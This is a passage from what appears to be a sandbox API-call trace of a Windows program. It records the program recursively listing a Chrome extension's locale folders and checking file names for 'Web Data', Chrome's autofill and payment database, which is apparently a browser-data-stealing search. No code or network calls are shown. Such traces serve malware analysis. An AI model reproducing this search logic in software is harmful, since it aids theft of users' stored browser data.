lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.175] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.175] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.175] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.175] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.175] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.175] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.175] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.175] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.175] LocalFree (hMem=0x2daec0) returned 0x0 [0056.175] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.175] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.175] lstrcmpiA (lpString1=".", lpString2="fr") returned -1 [0056.175] lstrcmpiA (lpString1="..", lpString2="fr") returned -1 [0056.175] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.175] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.175] lstrlenA (lpString="\\") returned 1 [0056.175] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.175] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.175] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.175] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.175] lstrlenA (lpString="fr") returned 2 [0056.175] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.175] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.175] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr" [0056.175] LocalFree (hMem=0x2daca0) returned 0x0 [0056.175] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr") returned 131 [0056.175] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr") returned 131 [0056.175] lstrlenA (lpString="\\*.*") returned 4 [0056.175] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.175] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr" [0056.175] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.*" [0056.175] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.175] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.175] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.175] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.175] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.175] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.175] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.175] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.175] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.176] LocalFree (hMem=0x2daca0) returned 0x0 [0056.176] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.176] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.176] lstrcmpiA (lpString1=".", lpString2="he") returned -1 [0056.176] lstrcmpiA (lpString1="..", lpString2="he") returned -1 [0056.176] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.176] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.176] lstrlenA (lpString="\\") returned 1 [0056.176] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.176] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.176] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.176] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.176] lstrlenA (lpString="he") returned 2 [0056.176] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.176] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.176] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he" [0056.176] LocalFree (hMem=0x2daca0) returned 0x0 [0056.176] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he") returned 131 [0056.176] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he") returned 131 [0056.176] lstrlenA (lpString="\\*.*") returned 4 [0056.176] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.176] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he" [0056.176] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.*" [0056.176] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.176] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.176] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.176] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.176] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.176] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.176] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.176] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.176] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.176] LocalFree (hMem=0x2daca0) returned 0x0 [0056.176] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.176] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.176] lstrcmpiA (lpString1=".", lpString2="hi") returned -1 [0056.176] lstrcmpiA (lpString1="..", lpString2="hi") returned -1 [0056.176] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.176] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.176] lstrlenA (lpString="\\") returned 1 [0056.176] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.176] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.176] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.176] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.176] lstrlenA (lpString="hi") returned 2 [0056.176] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.177] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.177] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi" [0056.177] LocalFree (hMem=0x2daca0) returned 0x0 [0056.177] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi") returned 131 [0056.177] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi") returned 131 [0056.177] lstrlenA (lpString="\\*.*") returned 4 [0056.177] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.177] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi" [0056.177] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.*" [0056.177] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.177] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.177] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.177] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.177] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.177] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.177] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.177] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.177] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.177] LocalFree (hMem=0x2daca0) returned 0x0 [0056.177] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.177] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.177] lstrcmpiA (lpString1=".", lpString2="hu") returned -1 [0056.177] lstrcmpiA (lpString1="..", lpString2="hu") returned -1 [0056.177] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.177] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.177] lstrlenA (lpString="\\") returned 1 [0056.177] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.177] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.177] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.177] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.177] lstrlenA (lpString="hu") returned 2 [0056.177] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.177] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.177] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu" [0056.177] LocalFree (hMem=0x2daca0) returned 0x0 [0056.177] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu") returned 131 [0056.177] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu") returned 131 [0056.177] lstrlenA (lpString="\\*.*") returned 4 [0056.177] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.177] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu" [0056.177] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.*" [0056.177] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.178] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.178] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.178] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.178] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.178] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.178] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.178] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.178] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.178] LocalFree (hMem=0x2daca0) returned 0x0 [0056.178] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.178] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.178] lstrcmpiA (lpString1=".", lpString2="id") returned -1 [0056.178] lstrcmpiA (lpString1="..", lpString2="id") returned -1 [0056.178] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.178] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.178] lstrlenA (lpString="\\") returned 1 [0056.178] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.178] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK 